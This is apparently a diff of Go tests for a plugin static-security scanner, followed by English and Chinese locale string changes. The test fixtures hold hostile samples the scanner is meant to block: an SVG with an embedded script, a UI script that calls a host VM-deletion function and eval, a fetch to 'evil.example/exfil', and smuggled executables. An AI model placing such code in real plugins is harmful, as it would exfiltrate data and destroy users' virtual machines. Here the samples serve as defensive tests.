if !rep.Passed || rep.HardBlocked {
t.Fatalf("expected clean L1 theme to pass, got hard findings: %+v", rep.HardFindings)
}
if rep.Tier != plugin.TierL1 {
t.Fatalf("tier = %s, want L1", rep.Tier)
}
if rep.NativeExecNotice.HasAny() {
t.Fatalf("L1 theme should not carry native exec notice")
}
if rep.NeedsApproval {
t.Fatalf("clean L1 theme should not require approval")
}
}
func TestScanBlocksSmuggledBinariesInL1(t *testing.T) {
dir := t.TempDir()
man, _ := json.Marshal(plugin.Manifest{
Schema: 1,
ID: "test.theme.smuggle",
Version: "1.0.0",
Name: plugin.LocalizedText{EnUS: "Smuggle"},
})
_ = os.WriteFile(filepath.Join(dir, "plugin.json"), man, 0o644)
_ = os.WriteFile(filepath.Join(dir, "helper.ps1"), []byte(`Write-Host "hi"`), 0o644)
_ = os.WriteFile(filepath.Join(dir, "payload.exe"), []byte("MZfake"), 0o644)
rep := plugin.ScanDirectory(dir, "0.2.8", plugin.ScanOptions{})
if !rep.HardBlocked || rep.Passed {
t.Fatalf("expected L1 package with .ps1/.exe to be hard-blocked")
}
if len(rep.Executables) != 2 {
t.Fatalf("expected 2 executables recorded, got %d", len(rep.Executables))
}
foundBin := 0
for _, f := range rep.HardFindings {
if f.Check == "forbidden-binary" {
foundBin++
}
}
if foundBin != 2 {
t.Fatalf("expected 2 forbidden-binary hard findings, got %d (%+v)", foundBin, rep.HardFindings)
}
// InstallArchive must also hard-reject the zipped package.
zipPath := makePluginZip(t, map[string][]byte{
"plugin.json": man,
"helper.ps1": []byte(`Write-Host "hi"`),
}, nil, false)
layout := plugin.NewPluginsLayout(t.TempDir())
if _, err := plugin.InstallArchive(layout, zipPath, plugin.PackageInstallOptions{
HostVersion: "0.2.8",
AllowUnsigned: true,
}); err == nil || !strings.Contains(err.Error(), "static security gate") {
t.Fatalf("expected InstallArchive hard gate rejection, got: %v", err)
}
}
func TestScanBlocksSVGActiveContent(t *testing.T) {
dir := t.TempDir()
man, _ := json.Marshal(plugin.Manifest{
Schema: 1,
ID: "test.theme.badsvg",
Version: "1.0.0",
Name: plugin.LocalizedText{EnUS: "Bad SVG"},
})
_ = os.WriteFile(filepath.Join(dir, "plugin.json"), man, 0o644)
_ = os.WriteFile(filepath.Join(dir, "evil.svg"), []byte(`<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>`), 0o644)
rep := plugin.ScanDirectory(dir, "0.2.8", plugin.ScanOptions{})
if !rep.HardBlocked {
t.Fatal("expected SVG with <script> to be hard-blocked")
}
found := false
for _, f := range rep.HardFindings {
if f.Check == "svg-script" && f.Target == "evil.svg" {
found = true
}
}
if !found {
t.Fatalf("expected svg-script finding, got %+v", rep.HardFindings)
}
}
func TestScanBlocksUIScriptHostEscapeAndUndeclaredNet(t *testing.T) {
dir := t.TempDir()
man, _ := json.Marshal(plugin.Manifest{
Schema: 1,
ID: "test.theme.badjs",
Version: "1.0.0",
Name: plugin.LocalizedText{EnUS: "Bad JS"},
Permissions: []string{"ui:script"},
Entry: plugin.Entry{UIScript: "fx.js"},
})
_ = os.WriteFile(filepath.Join(dir, "plugin.json"), man, 0o644)
_ = os.WriteFile(filepath.Join(dir, "fx.js"), []byte(`
window.go.app.App.DeleteVM("x");
eval("1+1");
fetch("https://evil.example/exfil");
`), 0o644)
rep := plugin.ScanDirectory(dir, "0.2.8", plugin.ScanOptions{})
if !rep.HardBlocked {
t.Fatal("expected host-escape / eval / undeclared fetch to be hard-blocked")
}
checks := map[string]bool{}
for _, f := range rep.HardFindings {
checks[f.Check] = true
}
if !checks["ui-script"] || !checks["ui-script-undeclared-net"] {
t.Fatalf("expected both ui-script and ui-script-undeclared-net findings, got %+v", rep.HardFindings)
}
}
func TestScanL3SidecarTruthfulBoundaryAndUnlistedBinary(t *testing.T) {
dir := t.TempDir()
man, _ := json.Marshal(plugin.Manifest{
Schema: 1,
ID: "test.driver.sidecar",
Version: "1.0.0",
Name: plugin.LocalizedText{ZhCN: "测试驱动", EnUS: "Test Driver"},
Publisher: "community-dev",
License: "Apache-2.0",
Entry: plugin.Entry{Sidecar: "bin/driver.exe"},
Permissions: []string{"driver:vm", "vm:read", "log:read"},
Contributes: plugin.Contributes{
GuestDrivers: []plugin.GuestDriverContribution{
{ID: "drv1", Name: plugin.LocalizedText{EnUS: "D1"}, RuntimeKind: "qemu"},
{ID: "drv2", Name: plugin.LocalizedText{EnUS: "D2"}, RuntimeKind: "qemu"},
{ID: "drv3", Name: plugin.LocalizedText{EnUS: "D3"}, RuntimeKind: "qemu"},
{ID: "drv4", Name: plugin.LocalizedText{EnUS: "D4"}, RuntimeKind: "qemu"},
},
},
})
_ = os.MkdirAll(filepath.Join(dir, "bin"), 0o755)
_ = os.WriteFile(filepath.Join(dir, "plugin.json"), man, 0o644)
_ = os.WriteFile(filepath.Join(dir, "bin", "driver.exe"), []byte("MZ-valid-sidecar"), 0o644)
rep := plugin.ScanDirectory(dir, "0.2.8", plugin.ScanOptions{})
if !rep.Passed || rep.HardBlocked {
t.Fatalf("expected valid L3 sidecar to pass static gate, got hard: %+v", rep.HardFindings)
}
if rep.Tier != plugin.TierL3 || !rep.NeedsApproval {
t.Fatalf("expected TierL3 and NeedsApproval=true, got tier=%s needsApproval=%v", rep.Tier, rep.NeedsApproval)
}
if !rep.NativeExecNotice.HasAny() || !strings.Contains(rep.NativeExecNotice.ZhCN, "Windows") {
t.Fatalf("expected truthful Windows privilege notice for L3, got %+v", rep.NativeExecNotice)
}
if len(rep.Executables) != 1 || !rep.Executables[0].Declared || rep.Executables[0].SHA256 == "" {
t.Fatalf("unexpected executables inventory: %+v", rep.Executables)
}
// Verify >3 examples folding on driver:vm capability.
var drvCap *plugin.CapabilityItem
for i := range rep.Capabilities {
if rep.Capabilities[i].ID == "driver:vm" {
drvCap = &rep.Capabilities[i]
}
}
if drvCap == nil || len(drvCap.Examples) != 3 || drvCap.ExtraCount != 1 {
t.Fatalf("expected driver:vm capability with 3 examples + 1 folded, got %+v", drvCap)
}
summary := rep.SummaryText("zh-CN")
if !strings.Contains(summary, "另有 1 项已折叠") || !strings.Contains(summary, "sha256=") {
t.Fatalf("unexpected SummaryText:\n%s", summary)
}
// Adding an unlisted helper DLL/EXE inside an L3 package must be hard-blocked.
_ = os.WriteFile(filepath.Join(dir, "bin", "sneaky.dll"), []byte("MZ-sneaky"), 0o644)
rep2 := plugin.ScanDirectory(dir, "0.2.8", plugin.ScanOptions{})
if !rep2.HardBlocked {
t.Fatal("expected unlisted .dll inside L3 package to be hard-blocked")
}
foundUnlisted := false
for _, f := range rep2.HardFindings {
if f.Check == "unlisted-executable" && f.Target == "bin/sneaky.dll" {
foundUnlisted = true
}
}
if !foundUnlisted {
t.Fatalf("expected unlisted-executable finding, got %+v", rep2.HardFindings)
}
}
func TestScanArchiveSignedOfficialTrust(t *testing.T) {
pub, priv, err := ed25519.GenerateKey(nil)
if err != nil {
t.Fatal(err)
}
man, _ := json.Marshal(plugin.Manifest{
Schema: 1,
ID: "official.theme.test",
Version: "1.0.0",
Name: plugin.LocalizedText{EnUS: "Official Theme"},
})
zipPath := makePluginZip(t, map[string][]byte{"plugin.json": man}, priv, false)
rep, err := plugin.ScanArchive(zipPath, t.TempDir(), "0.2.8", plugin.ScanOptions{
Keyring: []plugin.SigningKey{{
KeyID: "official",
Publisher: "reims-go",
Trust: plugin.TrustOfficial,
PublicKey: pub,
}},
})
if err != nil {
t.Fatalf("ScanArchive error: %v", err)
}
if !rep.Passed || rep.Trust != plugin.TrustOfficial {
t.Fatalf("expected official passing report, got passed=%v trust=%s hard=%+v", rep.Passed, rep.Trust, rep.HardFindings)
}
}
+4 -1
View File
@@ -297,6 +297,9 @@
]
},
"plugin.doctor.errors": "plugin doctor found errors",
"plugin.market.stale_warn": "Remote plugin market unreachable; falling back to cached or embedded index",
"plugin.market.empty": "No matching plugins found in the market index",
"plugin.market.up_to_date": "All installed plugins are up to date",
"setup.err.empty": "choose a folder",
"setup.err.not_abs": {
"message": "{dir} is not a full path",
@@ -790,7 +793,7 @@
"cli.usage.cmd_inst_dl": " installer download <ver> Download an offline installer (26.7.1, tahoe, latest; Ctrl+C pauses, rerun resumes)",
"cli.usage.cmd_inst_cached": " installer cached List downloaded installers and the space they take",
"cli.usage.cmd_inst_del": " installer delete <name> Delete a downloaded installer (refused if in use or downloading)",
"cli.usage.cmd_plugin": " plugin list|install|link|enable|disable|remove|info|doctor|locale|run\n Manage built-in extensions, language packs and third-party plugins",
"cli.usage.cmd_plugin": " plugin list|search|install|update|link|enable|disable|remove|info|doctor|locale|run\n Manage built-in extensions, language packs, plugin market and security checks",
"cli.usage.cmd_version": " version Show current version",
"cli.start.running_in_tray": {
"message": "{name} is starting (Reims-Go is running in the tray).",
+4 -1
View File
@@ -297,6 +297,9 @@
]
},
"plugin.doctor.errors": "插件检查发现错误",
"plugin.market.stale_warn": "远程插件市场索引暂不可达,已回退至本地缓存/内置索引",
"plugin.market.empty": "当前插件市场暂无匹配插件",
"plugin.market.up_to_date": "所有已安装插件均已是最新版本",
"setup.err.empty": "请选择数据目录",
"setup.err.not_abs": {
"message": "{dir} 不是完整路径",
@@ -790,7 +793,7 @@
"cli.usage.cmd_inst_dl": " installer download <版本> 下载离线安装包(如 26.7.1、tahoe、latest;Ctrl+C 暂停,再次运行续传)",
"cli.usage.cmd_inst_cached": " installer cached 查看已下载的安装包及占用空间",
"cli.usage.cmd_inst_del": " installer delete <文件名> 删除已下载的安装包(正在使用或下载中的会被拒绝)",
"cli.usage.cmd_plugin": " plugin list|install|link|enable|disable|remove|info|doctor|locale|run\n 管理内置扩展、语言包与第三方插件",
"cli.usage.cmd_plugin": " plugin list|search|install|update|link|enable|disable|remove|info|doctor|locale|run\n 管理内置扩展、语言包、插件市场与静态安全检查",
"cli.usage.cmd_version": " version 查看当前版本",
"cli.start.running_in_tray": {
"message": "{name} 已在启动中(Reims-Go 在托盘运行)。",